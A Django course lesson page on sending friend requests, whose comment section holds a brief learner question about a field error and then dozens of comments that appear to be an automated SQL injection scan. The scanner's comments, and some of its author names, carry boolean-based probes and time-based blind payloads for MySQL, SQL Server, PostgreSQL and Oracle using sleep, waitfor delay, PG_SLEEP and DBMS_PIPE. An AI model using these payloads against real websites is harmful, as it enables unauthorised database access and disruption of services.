Part eight - 1 - Sending friend requests - Learn Django by building a social network

You need to be subscribed to a plan to get access to the full course.

In this part, we will make it possible to send friend requests to other users of DjangoNet.

Comments

hyunho lee | Sep 22, 22 12:45

hi, stein.
I am hyunho at korea.I am taking your lecture.

Part 8-1 Sending friend requests
created_by = request.user

I get the following error: I wonder how to solve it.

Cannot resolve keyword 'created_by' into field. Choices are: created_at, created_to, created_to_id, id, requested_to, requested_to_id, status


Stein Ove Helset | Nov 19, 22 06:49

Great that you fixed it :-)

hyunho lee | Sep 22, 22 12:52

It was my mistake.

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

-1 OR 2+620-620-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 10:13

-1 OR 2+450-450-1=0+0+0+1

EFSArCBy | Jul 02, 26 10:13

-1' OR 2+212-212-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 10:13

-1' OR 2+507-507-1=0+0+0+1 or '1yT6MJQ6'='

EFSArCBy | Jul 02, 26 10:13

-1" OR 2+427-427-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 10:13

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 10:13

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 10:13

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 10:13

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 10:13

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 10:13

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 10:13

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 10:13

55547DcSGNm'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 10:13

555-1 OR 247=(SELECT 247 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:13

555-1) OR 822=(SELECT 822 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:13

555-1)) OR 578=(SELECT 578 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:13

555gqGLVO0J' OR 208=(SELECT 208 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:13

555BMRwNXfA') OR 619=(SELECT 619 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:13

555xhtWpjOX')) OR 387=(SELECT 387 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:13

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 10:13

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555'"

EFSArCBy | Jul 02, 26 10:13

@@BY2lE

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

-1 OR 2+881-881-1=0+0+0+1 -- | Jul 02, 26 10:13

555

-1 OR 2+609-609-1=0+0+0+1 | Jul 02, 26 10:13

555

-1' OR 2+689-689-1=0+0+0+1 -- | Jul 02, 26 10:13

555

-1' OR 2+516-516-1=0+0+0+1 or 'iPCUqrpL'=' | Jul 02, 26 10:13

555

-1" OR 2+748-748-1=0+0+0+1 -- | Jul 02, 26 10:13

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 10:13

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 10:13

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 10:13

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 10:13

555

EFSArCByPYrgLNwP'; waitfor delay '0:0:15' -- | Jul 02, 26 10:13

555

EFSArCByThkZBnNs' OR 576=(SELECT 576 FROM PG_SLEEP(15))-- | Jul 02, 26 10:13

555

EFSArCByGVmZl0rQ') OR 111=(SELECT 111 FROM PG_SLEEP(15))-- | Jul 02, 26 10:13

555

EFSArCByPbOxkq66')) OR 901=(SELECT 901 FROM PG_SLEEP(15))-- | Jul 02, 26 10:13

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy'" | Jul 02, 26 10:13

555

@@ySMaF | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.